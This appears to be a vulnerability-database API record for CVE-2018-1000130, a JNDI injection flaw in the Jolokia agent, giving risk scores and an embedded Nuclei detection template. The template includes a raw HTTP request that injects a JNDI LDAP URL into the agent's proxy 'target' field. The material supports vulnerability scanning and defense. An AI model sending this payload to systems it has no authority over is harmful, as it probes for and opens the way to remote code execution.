{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-1000130/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-1000130/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-1000130/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-1000130/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-1000130/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-1000130"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-1000130"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.72696,
      "kev": false,
      "percentile": 0.99421
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2018/CVE-2018-1000130.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2018-1000130\n\ninfo:\n  name: Jolokia Agent - JNDI Code Injection\n  author: milo2012\n  severity: high\n  description: |\n    Jolokia agent is vulnerable to a JNDI injection vulnerability that allows a remote attacker to run arbitrary Java code on the server when the agent is in proxy mode.\n  impact: |\n    Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.\n  remediation: |\n    Apply the latest security patches or updates provided by the vendor to fix the vulnerability.\n  reference:\n    - https://jolokia.org/#Security_fixes_with_1.5.0\n    - https://access.redhat.com/errata/RHSA-2018:2669\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000130\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/SexyBeast233/SecBooks\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2018-1000130\n    cwe-id: CWE-74\n    epss-score: 0.72696\n    epss-percentile: 0.99421\n    cpe: cpe:2.3:a:jolokia:webarchive_agent:1.3.7:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: jolokia\n    product: webarchive_agent\n  tags: cve2018,cve,jolokia,rce,jndi,proxy,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /jolokia/read/getDiagnosticOptions HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.\n        Content-Type: application/x-www-form-urlencoded\n\n        {\n           \"type\":\"read\",\n           \"mbean\":\"java.lang:type=Memory\",\n           \"target\":{\n              \"url\":\"service:jmx:rmi:///jndi/ldap://127.0.0.1:1389/o=tomcat\"\n           }\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Failed to retrieve RMIServer stub: javax.naming.CommunicationException: 127.0.0.1:1389\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100c9a1c9d438daed76a1855c5bceefc4cd2a885ee5634a6c71e3a8edfc87ef9a3602207bd9deceb5944c95eb9cd0d7f8a99487b7a01ffbe9d04041200a20214a049931:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2018-1000130"
}